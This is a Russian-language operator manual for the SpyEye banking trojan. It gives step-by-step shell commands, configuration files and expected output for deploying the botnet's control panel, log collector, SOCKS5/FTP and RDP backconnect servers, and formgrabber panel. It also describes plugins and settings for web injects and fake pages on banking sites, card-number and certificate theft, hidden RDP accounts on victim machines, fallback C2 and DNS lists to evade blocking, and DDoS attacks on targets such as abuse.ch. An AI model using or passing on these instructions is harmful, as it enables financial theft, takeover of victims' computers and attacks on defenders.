SpyEye Manual

Installation : Intro

Главным инструментом установки SpyEye является виртуальная операционная система GNU/Linux Debian 5.0. В этой ОС уже установлен вебсервер вместе с админкой формграббера а также, ssh-клиент и прочий инструментарий. Для использования ОС необходим VirtualBox.

* Примечание. Тип контроллера жесткого диска должен быть строго SATA:

sata hdd

* Примечание. Инфо для входа в систему:

login: user
password: pw
root password: pw

workspace:

workspace

* Примечание. Для обмена файлами с этой ОС, нужно добавить постоянную папку в настройках виртуальной машины, с именем Input и перезагрузить виртуальную машину:

Input folder

Installation : Server : Main CP

Главная админка нужна для учёта статистики по ботам, а так же для управления ими. Для её работы необходим установленный вебсервер с поддержкой PHP, а также mysql БД сервер.

Она разделена на главную и клиенсткую часть. К обеим прилагаются инсталляторы. Серверная часть представляет собой один файл - gate.php. Клиентская часть находится в Sedeb'е.

Установка. (для установки используем виртуальную ОС, поставляемую со SpyEye'ем)

В постоянную папку Input необходимо положить дистрибутив серверной части Main CP (gate.tgz).

Заливаем дистрибутив из папки Input и вводим пароль соответствующего пользователя с сервера:

  1. user@debian:~$ scp /home/user/Desktop/Input/gate.tgz root@163.185.19.177:/tmp/
  2. root@163.185.19.177's password:
  3. gate.tgz                       3% 3225KB 3.1MB/s 00:34 ETA

Используем SSH-клиент (который есть во всех линях по-дефолту) для входа на сервер, куда будем ставить gate:

  1. user@debian:~$ ssh root@163.185.19.177

Заходим в папку хоста вебсервера, где будет лежать gate, и, создаём папку для админки, перемещаем туда дистрибутив и распаковываем:

  1. vds:~# cd /tmp
  2. vds:/tmp# mkdir /var/www/_cp
  3. vds:/tmp# mv gate.tgz /var/www/_cp
  4. vds:/tmp# cd /var/www/_cp
  5. vds:/var/www/_cp# chmod 777 ./
  6. vds:/var/www/_cp# tar -xf gate.tgz && rm gate.tgz

Создаём БД для админки и два пользователя для этой БД (один для серверной части, другой для клиентской):

  1. vds:/var/www/_cp# mysql -u root -p
  2. Enter password:
  3.  
  4. mysql> CREATE DATABASE gate;
  5. Query OK, 1 row affected (0.01 sec)
  6.  
  7. mysql> CREATE USER 'gate'@'localhost' IDENTIFIED BY 'oiugSGIFG*W*&*&F*GEW';
  8. Query OK, 0 rows affected (0.03 sec)
  9.  
  10. mysql> GRANT SELECT, INSERT, DELETE, UPDATE, CREATE, ALTER, DROP ON gate.* TO 'gate';
  11. Query OK, 1 row affected (0.01 sec)
  12.  
  13. mysql> CREATE USER 'gateviewer' IDENTIFIED BY 'iUSFG*888884wregaisdtfv';
  14. Query OK, 0 rows affected (0.03 sec)
  15.  
  16. mysql> GRANT SELECT, INSERT, UPDATE, DELETE ON gate.* TO 'gateviewer';
  17. Query OK, 0 rows affected (0.01 sec)
  18.  
  19. mysql> quit
  20. Bye
  21. vds:~#

Теперь, через браузер, запускаем installer (эта папка находится в корне дистрибутива админки). Указываем реквизиты БД и пользователя, созданного выше. Задаём пароль на вход в админку. В итоге, должно получиться нечто такое:

gate instraller

После нажатия на кнопку Install лог должен выглядеть примерно так:

gate instraller log

Серверная часть поставлена. Теперь нужно поставить клиентскую часть (находится в Sedeb'е). Аналогично предыдущему инсталлеру, указываем реквизиты БД и пользователя, и, задаём пароль на вход в админку:

maincp instraller

maincp instraller log

Установка завершена. Теперь по поводу настроек админки:

maincp settings

Существует единый интерфейс для управления файлами в админке. Он реализован во вкладке Files:

maincp files upload

Существует три типа создаваемых заданий:

Соответственно, при загрузке файла, нужно указывать к какому типу задания он относится. При создании задания во вкладке Create Task, можно указать дополнительные опции:

maincp create task

Собственно, возможны 4 комбинации этих флагов для задания по update'у exe'шника бота. Сценарии update'а для каждого из этих случаев отличаются друг от друга:

Для задания типа Load exe тоже доступна опция use build-in pe loader, однако нужно учитывать что точка входа exe'шника при использовании PE-лоадера, должна иметь строго такой прототип:

typedef VOID (__stdcall *EMPTYENTRYPOINT)();

На следующем этапе создания задания, можно выбрать конкретных ботов, для которых это задание предназначено:

maincp create task (step2)

Во вкладке Task Statistic можно просматривать подробную инфу о ходе выполнения задания:

maincp create task (step3)

Installation : Server : Backconnect Server (for SOCKS5 & FTP)

Для работы с ботами через протоколы SOCKS5 или FTP, имеется backconnect сервер под ОС GNU/Linux.

Установка. (для установки используем виртуальную ОС, поставляемую со SpyEye'ем)

В постоянную папку Input необходимо положить дистрибутив backconnect-сервера (distrbc.tgz).

  1. user@debian:~$ scp /home/user/Desktop/Input/distrbc.tgz root@163.185.19.177:/tmp/
  2. root@163.185.19.177's password:
  3. distrbc.tgz                                   100%  770KB 770.5KB/s   00:00  

Используем SSH-клиент (который есть во всех линях по-дефолту) для входа на сервер, куда будем ставить backconnect-сервер:

  1. user@debian:~$ ssh root@163.185.19.177
  2. root@163.185.19.177's password:
  3.  

Пихаем файло куда нужно, распаковываем, настраиваем права:

  1. S130:~# cd /tmp
  2. S130:/tmp# mkdir /home/_BC
  3. S130:/tmp# mv distrbc.tgz /home/_BC
  4. S130:/tmp# cd /home/_BC
  5. S130:/home/_BC# tar -xf distrbc.tgz && rm distrbc.tgz
  6. S130:/home/_BC# chmod 777 ./BC
  7. S130:/home/_BC# chmod 777 ./

Создаём БД для bc-сервера и mysql-пользователя для этой БД:

  1. S130:/home/_BC# mysql -u root -p
  2. Enter password:
  3. Welcome to the MySQL monitor.  Commands end with ; or \g.
  4. Your MySQL connection id is 30407
  5. Server version: 5.0.51a-24+lenny4-log (Debian)
  6.  
  7. Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
  8.  
  9. mysql> CREATE DATABASE bc;
  10. Query OK, 1 row affected (0.02 sec)
  11.  
  12. mysql> CREATE USER 'bcuser' IDENTIFIED BY 'bcpassw';
  13. Query OK, 0 rows affected (0.00 sec)
  14.  
  15. mysql> GRANT SELECT, INSERT, DELETE, UPDATE, DROP, ALTER, CREATE ON bc.* TO 'bcuser';
  16. Query OK, 0 rows affected (0.00 sec)
  17.  
  18. mysql> quit
  19. Bye

С помощью текстового редактора nano редактируем конфиг:

  1. S130:/home/_BC# nano config.xml
  1. <?xml version="1.0" encoding="utf-8"?>
  2. <settings>
  3.   <socks_port>7000</socks_port>
  4.   <ftp_port>7002</ftp_port>
  5.   <ping_timeout>5</ping_timeout>
  6.   <threads_number>8</threads_number>
  7.   <ftp_limit>5000</ftp_limit>
  8.   <socks_limit>10000</socks_limit>
  9.   <login></login>
  10.   <password></password>
  11.   <geoip_path>GeoIPCity.dat</geoip_path>
  12.   <mysql_host>localhost</mysql_host>
  13.   <mysql_user>bcuser</mysql_user>
  14.   <mysql_pass>bcpassw</mysql_pass>
  15.   <mysql_db>bc</mysql_db>
  16.   <mysql_table>bots</mysql_table>
  17. </settings>

Соответственно, параметры конфига:

Теперь запускаем сервер. Должно быть нечто такое:

  1. S130:/home/_BC# ./BC -d
  2.  
  3. New discriptors limits: current/max = 123000/123000
  4.  
  5. In future we will use configuration file absolute path:
  6. /home/_BC
  7.  
  8.  
  9.                           Now I become a daemon! >)                              
  10. S130:/home/_BC#

* Примечание. Имеет смысл прописать этот демон в автозагрузку по аналогии с тем, как это сделано в описании инсталла Collector'а.

Остаётся лишь настроить главную админку на чтение списка ботов из таблицы демона.

Installation : Server : Collector

Коллектор представляет собой демон под ОС GNU/Linux, принимающий логи от ботов. Протокол, использующийся для отправки логов основан на TCP и носит название Sausages. В нём используется шифрование и LZO-компрессия. Демон прослушивает определённый порт на предмет логов от ботов и кладёт их в mysql-БД. Таким образом, для его работы на сервере должен быть установлен GNU/Linux и mysql. Кроме этого, для его устаовки необходим SSH-доступ к серверу.

Установка. (для установки используем виртуальную ОС, поставляемую со SpyEye'ем)

В постоянную папку Input необходимо положить дистрибутив коллектора (distr.tgz).

Используем SSH-клиент (который есть во всех линях по-дефолту) для входа на сервер, куда будем ставить коллектор:

  1. user@debian:~$ ssh root@163.185.19.177

Теперь создаём папку, где будет лежать коллектор:

  1. S130:~# cd /home
  2. S130:/home# mkdir _sec
  3. S130:/home# cd _sec

В новом окне терминала, заливаем на сервер distr.tgz из папки Input и вводим пароль соответствующего пользователя с сервера:

  1. user@debian:~$ scp /home/user/Desktop/Input/distr.tgz root@163.185.19.177:/home/_sec/
  2. root@163.185.19.177's password:
  3. distr.tgz                       91% 2160KB 1.8MB/s 00:01 ETA

Распаковываем архив, запускаем скрипт выставления прав на файлы, проводим кое-какие операции с файлами:

  1. S130:/home/_sec# tar -xf distr.tgz
  2. S130:/home/_sec# dir
  3. distr.tgz  permissions.sh  SpyEyeCollector
  4. S130:/home/_sec# rm distr.tgz
  5. S130:/home/_sec# dir
  6. permissions.sh  SpyEyeCollector
  7. S130:/home/_sec# sh permissions.sh
  8. S130:/home/_sec# rm permissions.sh
  9. S130:/home/_sec# mv SpyEyeCollector/* ./
  10. S130:/home/_sec# rmdir SpyEyeCollector/
  11. S130:/home/_sec# ls -l
  12. total 4788
  13. drwxr-xr-x   2 root     root         4096 Jan 18 06:55 configs
  14. -rwxr--r--   1 root     root      3853420 Oct 11 09:51 sec
  15. -rwxr--r--   1 root     root      1031548 Aug 15 17:24 sec-manager
  16. drwxr-xr-x   2 root     root         4096 Jan 18 06:55 tables

Теперь создаём БД для коллектора и mysql-пользователя с правами на эту БД:

  1. S130:/home/_sec# mysql -u root -p
  2. Enter password:
  3. Welcome to the MySQL monitor.  Commands end with ; or \g.
  4. Your MySQL connection id is 30407
  5. Server version: 5.0.51a-24+lenny4-log (Debian)
  6.  
  7. Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
  8.  
  9. mysql> CREATE DATABASE frmcp3;
  10. Query OK, 1 row affected (0.02 sec)
  11.  
  12. mysql> CREATE USER 'frmcp3'@'localhost' IDENTIFIED BY 'uYGASGFUGSUFu^U^#$W^R====';
  13. Query OK, 0 rows affected (0.00 sec)
  14.  
  15. mysql> GRANT SELECT, INSERT, CREATE ON frmcp3.* TO 'frmcp3';
  16. Query OK, 0 rows affected (0.00 sec)
  17.  
  18. mysql> quit
  19. Bye

Далее, с помощью текстового редактора nano, редактируем конфиг коллектора, прописывая туда инфо БД и пользователя, созданных выше:

  1. S130:/home/_sec# nano ./configs/sec.config
  1. GNU nano 2.0.7                File: ./configs/sec.config                            Modified  
  2.  
  3. ################################################################################
  4. # [SpyEye Collector v0.3.9] configuration file.
  5. #
  6.  
  7. listening port for logs         = "8080"
  8. listening IP-addr for logs      = "0.0.0.0"
  9.  
  10. max established connections     = "200"
  11. # Limit of 5 connections enough for handle 1'000 logs in one minute.
  12.  
  13. max unprocessed logs queue size = "111000"
  14. # Each log allocate minimum 4 KBytes of memory,
  15. # so if you have 100 MBytes of free memory you can
  16. # store about 100*1024/4 = 102400/4 = 25600 logs (in fact number little less).
  17. # This can be used when MySQL server has down and can't process requests.
  18. # When MySQL get up all logs will be inserted into DB.
  19. # If you reach this limit, collector will stop accept new connections.
  20.  
  21. mysql db name     = "frmcp3"
  22. mysql host        = "127.0.0.1"
  23. # port = 0 -- is told to MySQL that we want to connect under unix socket.
  24. # By several test we can say that this up perfomance by 10~40%.
  25. # mysql port        = "0"
  26. mysql port        = "3306"
  27. mysql unix socket = ""
  28. mysql username    = "frmcp3"
  29. mysql password    = "uYGASGFUGSUFu^U^#$W^R===="
  30.  
  31. ### End of config.

Теперь можно запустить коллектор:

  1. S130:/home/_sec# ./sec -d

Если всё сделано правильно, лог запуска будет примерно такой:

  1. ===============================================================================
  2.  ] ] ] ]] ]] ]] ]]] [[[ ]]] SpyEye Collector v$Hi DC$
  3. ===============================================================================
  4.  
  5. We have next limits for file(=socket) descriptors: current = 1024; max = 1024
  6. Try to change it: current to 100000; max to 100000;
  7.  * * *   New limits: current = 100000; max = 100000
  8.  
  9. Default config path: "configs/sec.config".
  10. Get query of creating table from file: table_screens.sql
  11. Opened file: "/home/_sec/tables/table_screens.sql"; size = 403
  12. Table name(4): scr_
  13. Get query of creating table from file: table_reports.sql
  14. Opened file: "/home/_sec/tables/table_reports.sql"; size = 424
  15. Table name(5): rep2_
  16. Get query of creating table from file: table_register.sql
  17. Opened file: "/home/_sec/tables/table_register.sql"; size = 623
  18. Table name(4): rep1
  19. Get query of creating table from file: table_hostban.sql
  20. Opened file: "/home/_sec/tables/table_hostban.sql"; size = 202
  21. Table name(7): hostban
  22. Get query of creating table from file: table_exceptions.sql
  23. Opened file: "/home/_sec/tables/table_exceptions.sql"; size = 3392
  24. Table name(11): exceptions_
  25. Get query of creating table from file: table_creditcards.sql
  26. Opened file: "/home/_sec/tables/table_creditcards.sql"; size = 308
  27. Table name(3): ccs
  28. Get query of creating table from file: table_certifications.sql
  29. Opened file: "/home/_sec/tables/table_certifications.sql"; size = 500
  30. Table name(4): cert
  31.  
  32.  * * *   Config successful readed.
  33.  
  34.  
  35. Table names:
  36. (04) scr_
  37. (05) rep2_
  38. (04) rep1
  39. (07) hostban
  40. (11) exceptions_
  41. (03) ccs
  42. (04) cert
  43.  
  44. MySQL :: Host: 127.0.0.1; user: frmcp3; passX2: **************************************************; DB: frmcp3; port: 3306; Unix socket: <NULL>; flags: <NULL>
  45.  * * *   MySQL connection success.
  46.  
  47. Try to make clerk socket ...
  48.   Successful. Descriptor = 3                                                    
  49. Try to bind socket to my addr: INADDR_ANY:8080. ...
  50.   Successful. Try to make it reusable...  Successful.
  51.  
  52.                           Now I become a daemon! >)

Предусмотрен менеджер, позволяющий просматривать статистику работы демона. Запускаем его:

  1. S130:/home/_sec# ./sec-manager

Если коллектор запущен, то отображаться будет примерно следующее:

  1.   Look for SpyEyeCollector.   /
  2.  
  3. version of Collector = $Hi DC$; addr = (INADDR_ANY=)0.0.0.0:8080
  4. Child(#1);  PARENT uptime = 0d 00:01:41; CHILD uptime = 0d 00:01:41;
  5.  
  6. Statistic receiving.
  7. | ESTABLISHED right now connections on selected port: 8080
  8. | | All connections to selected port from bots and anybody
  9. | |  \     Time out connection (10 seconds no active) without any data
  10. | |   \     \     Time Out connections with some data (well, try to accept it)
  11. | |    \     \     \     Memorized reports queue size
  12. | |     \     \     \     \     Initialization bot in new application/PC
  13. | |      \     \     \     \     \      Reports inserted into DataBase
  14. | |       \     \     \     \     \      \      Baned Reports by host ban table
  15. | |        \     \     \     \     \      \      \        MiBytes Received
  16. | |         \     \     \     \     \      \      \        \     MiBytes Unpack
  17. |  \         \     \     \     \     \      \      \        \     \  MiByte->DB
  18. |ESTA TotalConn TmOut TOu&d RQSize HitBot ValidRep  BanRepo  Recv  UnPkg Qryed
  19. ^C``0 ```````14 ````0 ````0 `````0 `````0 ```````0 ```````0 ````0 `````0 ````0

* Внимание! Не забудьте добавить коллектор в автозапуск (чтобы, после перезагрузки, коллектор запустился и снова принимал логи). Потребуется отредактировать файл /etc/rc.local. Должно получиться что-то вроде:

  1. #!/bin/sh -e
  2. #
  3. # rc.local
  4. #
  5. # This script is executed at the end of each multiuser runlevel.
  6. # Make sure that the script will "exit 0" on success or any other
  7. # value on error.
  8. #
  9. # In order to enable or disable this script just change the execution
  10. # bits.
  11. #
  12. # By default this script does nothing.
  13.  
  14. /home/_sec/sec -d
  15.  
  16. exit 0

* Примечание. Для перезапуска демона используйте программу killall, ждите (минут 5), пока "закроются" сокеты на слушающем порту убитого коллектора и снова запускайте коллектор.

* Примечание. Чтобы определить - занят ли тот или иной порт на сервере, используйте нечто вроде:

  1. netstat --inet -npo | grep ':80'

Installation : Server : RDP Backconnect Server

Сервер представляет собой статически собранный бинарник под OS GNU/Linux. Демон складирует инфо о подключённых клиентах в mysql БД.

Установка. (для установки используем виртуальную ОС, поставляемую со SpyEye'ем)

В постоянную папку Input необходимо положить дистрибутив RDP-демона (debian.x86.tar.bz2).

Заливаем дистрибутив из папки Input и вводим пароль соответствующего пользователя с сервера (в данном случае, для транспорта файлов используется не scp, а cat & ssh, ибо в некоторых случаях, могут возникнуть конфликты с версиями glibc):

  1. debian:/home/user# cat /home/user/Desktop/Input/debian.x86.tar.bz2 | ssh root@163.185.19.177 "cat > /tmp/debian.x86.tar.bz2"
  2. root@163.185.19.177's password:

Заходим по SSH. Распаковываем архив, инсталлируем демона:

  1. debian:/home/user# ssh root@163.185.19.177
  2. root@163.185.19.177's password:
  3.  
  4. S130:~# cd /tmp
  5. S130:/tmp# tar -xf debian.x86.tar.bz2 && rm debian.x86.tar.bz2
  6. S130:/tmp# cd dists/debian.x86/
  7. S130:/tmp/dists/debian.x86# make install
  8. Directory doesn't exist. Creating...
  9. Copying config...
  10. install -c -m 0755 dae /usr/sbin/dae
  11. install -c -m 0755 dae.init /etc/init.d/dae;
  12. update-rc.d dae defaults 99;
  13. Adding system startup for /etc/init.d/dae ...
  14. /etc/rc0.d/K99dae -> ../init.d/dae
  15. /etc/rc1.d/K99dae -> ../init.d/dae
  16. /etc/rc6.d/K99dae -> ../init.d/dae
  17. /etc/rc3.d/S99dae -> ../init.d/dae
  18. /etc/rc2.d/S99dae -> ../init.d/dae
  19. /etc/rc4.d/S99dae -> ../init.d/dae
  20. /etc/rc5.d/S99dae -> ../init.d/dae

Создаём mysql-пользователя (он будет использоваться в настройках главной админки, для получения списка ботов со включённым RDP-плагином):

  1. S130:/tmp# mysql -u root -p
  2. Enter password:
  3. Welcome to the MySQL monitor.  Commands end with ; or \g.
  4. Your MySQL connection id is 35862
  5. Server version: 5.0.51a-24+lenny4-log (Debian)
  6.  
  7. Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
  8.  
  9. mysql> CREATE DATABASE rdp;
  10. Query OK, 1 row affected (0.00 sec)
  11.  
  12. mysql> CREATE USER 'rdp' IDENTIFIED BY 'ZjkSBDFJKSFGUURFG';
  13. Query OK, 0 rows affected (0.00 sec)
  14.  
  15. mysql> GRANT SELECT, INSERT, DELETE, UPDATE, DROP, ALTER, CREATE ON rdp.* TO 'rdp';
  16. Query OK, 0 rows affected (0.00 sec)
  17.  
  18. mysql> quit
  19. Bye

Редактируем конфиг демона:

  1. S130:/tmp/dists/debian.x86# nano /etc/dae/dae.conf
  1.   GNU nano 2.0.7                                                             File: /usr/local/etc/sshd_config                                                                                                                                
  2.  
  3. [options]
  4. mysql_host = localhost
  5. mysql_port = 3306
  6. mysql_db = testdb
  7. mysql_user = test
  8. mysql_pass = testpass
  9. mysql_table_rdp = rdptb
  10. mysql_table_logs = logstb
  11.  
  12. cfg_file_log_enabled = 1
  13. cfg_file_log = /etc/dae/main.log
  14. cfg_file_log_maxsize = 10485760
  15.  
  16. cfg_file_blacklist = /etc/dae/blacklist.log
  17. cfg_ip_address = 0.0.0.0
  18.  
  19. cfg_rdp_port_in = 30000
  20. cfg_rdp_port_out = 30010
  21.  
  22. magic_code = some_magic_code

Можно изменить следующие параметры (красным выделены те, которые необходимо будет изменить):

Теперь можно запустить демон:

  1. S130:/tmp/dists/debian.x86# /etc/init.d/dae start

Всё. Демон готов к работе.

Installation : Client : Formgrabber CP (Collector's GUI)

Для поиска инфы в базе коллектора имеется PHP'шный интерфейс в виде админки формграббера. Админка не предназначена для того, чтобы находиться на сервере. Это клиенское приложение. Итак, прежде всего, заходим в виртуальную систему (инфо о которой описано в разделе Intro).

Итак, сначала необходимо подключиться к серверу, где находится БД коллектора. Для этого использовать gnome-terminal и SSH-клиент:

  1. user@debian:~$ ssh root@163.185.19.177

Теперь нужно подключиться к mysql демону, создать пользователя, и задать этому пользователю права на использование БД коллектора:

  1. S130:~# mysql -u root -p
  2. Enter password:
  3.  
  4. mysql> CREATE USER 'frmcpviewer' IDENTIFIED BY 'SgFGSADGFJSDGKFy2763272qffffHDSJ';
  5. Query OK, 0 rows affected (0.00 sec)
  6.  
  7. mysql> GRANT SELECT, INSERT, UPDATE, DELETE ON frmcp3.* TO 'frmcpviewer';
  8. Query OK, 0 rows affected (0.00 sec)
  9.  
  10. mysql> quit

Также проверьте, что mysql демон прослушивает и внешний IP сервера:

  1. S130:~# whereis mysql
  2. mysql: /usr/bin/mysql /etc/mysql /usr/share/mysql /usr/share/man/man1/mysql.1.gz
  3. S130:~# nano /etc/mysql/my.cnf
  4. S130:~#

Используйте поиск редактора nano (Ctrl + W) по фразе network. Среди найденного должно быть это:

  1. #
  2. # Instead of skip-networking the default is now to listen only on
  3. # localhost which is more compatible and is not less secure.
  4. bind-address            = 0.0.0.0

Если это не это, то сделайте это :), и перезагрузите mysql-демон:

  1. S130:~# /etc/init.d/mysql restart

Теперь можно открыть iceweasel (имя firefox'а в debian'ах, лицензионные заморочки...) и проследовать в installer админки формграббера, вбив туда инфо о БД коллектора и о mysql-пользователе, созданных выше:

formgrabber instraller

После нажатия на Install, должно быть нечто такое:

formgrabber instraller logs

Теперь можно заходить в админку и искать логи:

formgrabber interface

Installation : Client : Builder : serial.txt

При первом запуске билдера появится такое окно:

hwid

Это идентификатор оборудования. Выделите окно, нажмите Ctrl + C и вышлите этот текст автору для получения содержимого файла serial.txt.

Configuration : Client : Builder

Билдер выглядит примерно так:

builder

Соответственно, настройки билдера:

Процесс создания билда и конфига для него происходит следующим образом:

Таким образом, в папке билдера появится config.bin, который можно залить в админку и билд бота, который можно грузить.

Configuration : Client : Builder : plugins

В каталоге билдера имеется папка plugins. В ней могут находиться плагины (*.dll) и их конфиги (*.dll.cfg). Имя dll'ки плагина определяет его имя, которое будет отображаться в главной панели управления. При этом файл конфига должен иметь имя, которое является результатом конкатенации имени плагина и постфикса ".cfg.dll". Пример. socks5.dll и socks5.dll.cfg.

Более подробную информацию о плагинах смотрите в SpyEye Plugin's SDK.

Configuration : Client : Builder : screenshots

В каталоге билдера имеется папка screenshots. В ней могут находиться текстовые файлы с правилами сбора скриншотов. Скриншоты совешаются при клике мыши. При этом, в центре скриншота находится курсор мыши.

Файл правил содержит строки, каждая из которых должна содержать пять параметров, разделяемых пробелами. Формат следующий:

%URL_MASK% %WIDTH% %HEIGHT% %MINIMUM_CLICKS% %MINIMUM_SECONDS%

Правило отключается только тогда, когда сработают последние два параметра (MINIMUM_CLICKS И MINIMUM_SECONDS). Оба!

Возникает вопрос - нафига нужны последних два параметра? Дело в том, что существует проблематика, связанная со скриншотами. Боту достаточно проблематично узнать на какой странице совершается клик (например, ввиду того, что в браузере может быть множество вкладок). Поэтому, и сущетсвуют последние два параметра - чтобы так или иначе (опираясь на кол-во кликов и время, прошедшее с момента загрузки HTTP-ресурса, указанного в URL_MASK) выключать правило скриншотов.

* Внимание! Замечание по синтаксису. Не нужно добавлять символ переноса строки (Enter) в конец какого либо файла правил. При склеивании файлов, билдер добавит их автоматически.

Итак, ещё раз. Не нужно добавлять enter в конец файла правил скриншотов:

screenshots_rule

Configuration : Client : Builder : webinjects

В каталоге билдера имеется папка webinjects. В ней могут находиться текстовые файлы с правилами инжектирования HTTP(/HTTPS)-ресурсов. Формат инжектов - Zeus'овский. Однако, поддерживаются не все флаги маски set_url. Тем не менее, поддерживаемых флагов, вполне достаточно для того, чтобы говорить о полной совместимости с Zeus'овскими инжектами. О неподдерживаемых флагах будет сказано ниже.

Итак, немного о синтаксисе.

В файле правил содержатся блоки с четырьмя тэгами: set_url, data_before, data_inject, data_after (ну, плюс тэг data_end ещё, указывающий на конец тэга с префиксом data_).

Пример файла правил вебинжектов:

webinjects_example

* Примечание. На практике было обнаружено довольно забавное поведение вебсервера BOA при использовании HTTP 1.0 (именно эту версию HTTP SpyEye использует для инжектирования страниц в браузере Mozilla Firefox). На некоторых ресурсах (*.css, *.js) вебсервер возвращал сжатый контент, при этом в Content-Encoding не было указано, что контент сжатый. Приводило это к тому, что браузер распознавал контент таких ресурсов Invalid Content и страница отображалось некорректно. Несмотря на косяки вебсервера, это можно пофиксить с помощью SpyEye, просто составив пустое правило (с пустыми тэгами data_before, data_inject и data_after) для инжектирования *.css и *.js ресурсов.

Отличия инжектов SpyEye от инжектов Zeus'а:

Configuration : Client : Builder : collectors.txt

В каталоге билдера должен находиться файл collectors.txt. В файл можно прописать список, каждая строка которого имеет следующий формат (такие строки разделяются Enter'ами):

ip:port

Т.е. это IP, на котором установлен SpyEye Collector и PORT, который коллектор слушает на предмет логов.

Впринципе, вместо IP можно указать доменное имя (Внимание! Именно доменное имя, без префикса "http://" или "https://", ибо протокол, используемый для связи с коллектором - TCP, а не HTTP).

* Примечание. Лучше вешать коллектор на какой-нибудь известный, "распространённый" порт (80 или 443), ибо в некоторых локальных сетях, маршрутизаторы могут блокировать отсылку трафика на нестандартные порты.

* Примечание. В случае невозможности отправки данных первый коллектор, бот будет пытаться отправить данные, используя коллекторы, указанные ниже (пауза между попытками составляет 0.1 сек). Если бот дойдёт до конца списка и данные отправить так и не удалось, то он сохранит отчёт в специальном хранилище и будет пытаться отправить данные при следующей отсылке логов.

Configuration : Client : Builder : customconnector

customconnector представляет собой плагин для связи бота с главной админкой (gate.php). dll'ка и её конфиг находится в папке билдера plugins. Каждая строка этого конфига имеет следующий формат:

url;interval_in_sec

Если по какой-то причине у вас нет плагина customconnector, то билдер, при построении конфига выдаст следующий WARNING:

customconnector-warning

* Примечание. В случае, если вебсервер не отвечает, бот будет стучать в админки, указанные ниже по списку (паузы между попытками соответствуют интервалам, указанным в конфиге плагина). Если бот дойдёт до конца списка, то он снова перейдёт на первую админку и так далее.

Configuration : Client : Builder : dns.txt

Были обнаружены случаи бана доменного имени на уровне местных DNS-серверов определённой страны. Всвязи с этим, имеется возможость указывать собственный список DNS-серверов. Имеет смысл указывать популярные DNS-серверы типа google dns. В таком случае, бот, для ресолвинга домена из файлов customconnector.dll.cfg или collectors.txt в первую очередь будет использовать те DNS-серверы, которые указаны в dns.txt.

Синтаксис точно такой же как и в collectors.txt

* Примечание. Будьте внимательны, выбирая DNS-серверы. Проблематика заключается в том, что если домен не существует (или блокнут), то DNS-сервер не должен возвращать никаких IP. Существуют DNS-серверы, которые возвращают IP даже в том случае, если домен не существует (например, OpenDNS). Это сделано с целью редиректа на сайт DNS-сервиса:

wtf with dns

Вот такого быть не должно. Для тестирования работы того или иного DNS сервера предусмотрена тулза dnsclient.exe

Configuration : Client : Plugins : webfakes

Плагин webfakes может использоваться для подмены содержимого HTTP и HTTPS ресурсов без обращения к оригинальному вебсерверу в браузерах IE и FF. Конфиг плагина совместим в форматом Zeus'овских вебфейков и выглядит следующим образом:

entry "WebFakes"
%URL_MASK% %URL_REDIRECT% %FLAGS% %POST_BLACK_MASK% %POST_WHITE_MASK% %BLOCK_URL% %WEBFAKE_NAME% %UNBLOCK_URL%
end

* Примечание. Существует кое-какая проблематика работы фейков в браузере FF. Ввиду особенностей API библиотеки nspr4, данные POST-запроса, поступающие для анализа в плагин фейков, ограничены длиной в 4КБ. То есть, при составлении правил фейков, будьте внимательны - используйте такие переменные POST-запроса, которые входят в первые 4КБ HTTP-запроса (включая размер HTTP-шапки).

* Примечание. Плагин не требует включения со стороны админки.

Configuration : Client : Plugins : ddos

Плагин может быть использован, чтобы за'DDoS'ить (сокр. от англ. Distributed Denial of Service, Распределённый отказ от обслуживания) какой-нибудь сервер (ex: abuse.ch). Конфиг плагина имеет следующий вид:

type target port time
type target port time

* Примечание. В конфиге плагина можно указать множество заданий на DDoS. (плагин переходит от одного задания к другому постепенно, не многопоточно)

* Примечание. Для типа DDoS'а Slowloris не нужно задавать порт. (по-умолчанию используется 80-ый)

* Примечание. Плагин требует включения со стороны админки.

Configuration : Client : Plugins : ccgrabber

Плагин занимается сбором CC, анализируя POST-запросы приложений. Для детектирования номеров CC используется Luhn algorithm. Если нашелся валидный номер CC, то весь POST-запрос отсылается в коллектор. Найти сграбленные CC можно через соответствующий интерфейс поиска в админке формграббера:

ccgrabber

* Примечание. Плагин не требует включения со стороны админки.

Configuration : Client : Plugins : ffcertgrabber

Базовая комплектация SpyEye'я занимается граббингом сертификатов только из крипто-хранилища Windows. Однако Firefox использует собственное хранилище сертификатов. Всвязи с этим, есть специальный плагин для граббинга сертификатов из FF. Предусмотрен подбор паролей по словарю, в случае, если на профиль установелен мастер-пароль.

В конфиге плагина лишь одно значение - минимальное время ожидания перед отправкой сертификатов в коллектор (указывается в секундах).

Сграбленные сертификаты имеют префикс "FF ; ". Искать их можно там же где и сертификаты от IE:

ffcertgrabber

* Примечание. Плагин не требует включения со стороны админки.

* Примечание. Пароль для импорта сграбленного сертификата уточняйте у автора.

Configuration : Client : Plugins : socks5 backconnect

Собственно, плагин поднимает SOCKS5 сервер на боте и предоставляет доступ к нему через backconnect сервер. В главной админке имеется интерфейс, позволяющий отображать список соксов:

sockslist

Их можно юзать через любой софт, поддерживающий протокол SOCKS5. Рекомендуется использовать Proxifier (вместе с keygen'ом лежит в папке tools)

Конфиг плагина имеет следующую структуру:

%BOTNAME%;%IP%;%PORT%;%RECONNECT_INTERVAL_MSEC%;%AUTORUN_FLAG%

* Примечание. Плагин требует включения со стороны админки (в случае, если не используется флаг %AUTORUN_FLAG%).

Configuration : Client : Plugins : ftp backconnect

Собственно, плагин поднимает FTP сервер на боте и предоставляет доступ к нему через backconnect сервер. В главной админке имеется интерфейс, позволяющий отображать список ftp'шников:

ftplist

Подключаться к ботам можно через любой FTP-менеджер. Рекомендуется через Total Commander.

Конфиг плагина такой же как и у плагина соксов, за исключением одного отличия - %PORT% нужно указывать тот, что в разделе Backconnect Server (for SOCKS5 & FTP) назывался ftp_port.

* Примечание. Плагин требует включения со стороны админки (в случае, если не используется флаг %AUTORUN_FLAG%).

Configuration : Client : Plugins : rdp backconnect

Плагин поднимает RDP-сервер и прокидывает его до Backconnect сервера. Кроме этого, плагин реализует создание сокрытого пользователя, который и нужен для удалённого использования ПК по протоколу RDP. Ещё, в плагине предусмотрена панель управления для запуска любого процеса от любого залогиненого пользователя в системе (чтобы можно было создавать процессы от имени оригинального поьлзователя). Более того, в плагин встроена Portable-версия TotalCommander'а, загружаемого из интернета и запускаемого прямо из памяти (без дампа на диск).

* Примечание. TotalCommander рулит!

* Примечание. Плагину не нужна перезагрузка ОС для работы.

